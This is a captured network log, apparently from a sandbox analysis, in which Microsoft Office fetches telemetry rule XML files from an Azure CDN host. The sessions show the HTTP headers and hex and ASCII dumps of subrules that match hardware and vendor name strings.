T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:12 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:12 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 454be365-001e-0065-3d29-410b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165512Z-174f7845968qj8jrhC1EWRh41s000000162000000000uxv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:12 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:13 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:13 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: b6cdcd34-001e-0014-02c7-435151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165513Z-174f7845968cpnpfhC1EWR3afc00000015t000000000mgwy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:13 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:13 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:13 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: b4ece731-701e-0097-3213-42b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165513Z-174f78459685m244hC1EWRgp2c00000015yg00000000sr89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:14 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:13 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:14 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: dcd7ccea-901e-005b-7bbf-432005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165514Z-174f78459685726chC1EWRsnbg000000167000000000m00d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:14 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:14 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:14 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ccb4b789-101e-0028-02af-428f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165514Z-174f7845968n2hr8hC1EWR9cag00000015ug00000000gknm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:14 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:14 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:14 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: dc2ee754-c01e-0034-486c-432af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165514Z-174f7845968qj8jrhC1EWRh41s000000166g000000008ybs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:14 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:15 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 18a648ed-001e-0049-1ef9-445bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165516Z-174f7845968cs2nkhC1EWR2tq000000001zg0000000023kr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:15 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:16 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 657660fb-a01e-00ab-52ac-439106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165516Z-174f7845968n2hr8hC1EWR9cag00000015u000000000kx9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:16 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:16 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:16 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 68efaa1a-c01e-002b-57ef-446e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165516Z-174f7845968cs2nkhC1EWR2tq000000001vg00000000hhzy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:16 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:16 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8aad1780-e01e-0020-7ed6-43de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165516Z-174f784596886s2bhC1EWR743w000000169g0000000083gk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:16 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:16 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165516Z-174f7845968ljs8phC1EWRe6en00000015y000000000uxc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:17 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:18 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 774b57f8-e01e-001f-60f8-441633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165518Z-174f7845968px8v7hC1EWR08ng00000016fg00000000b42p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: 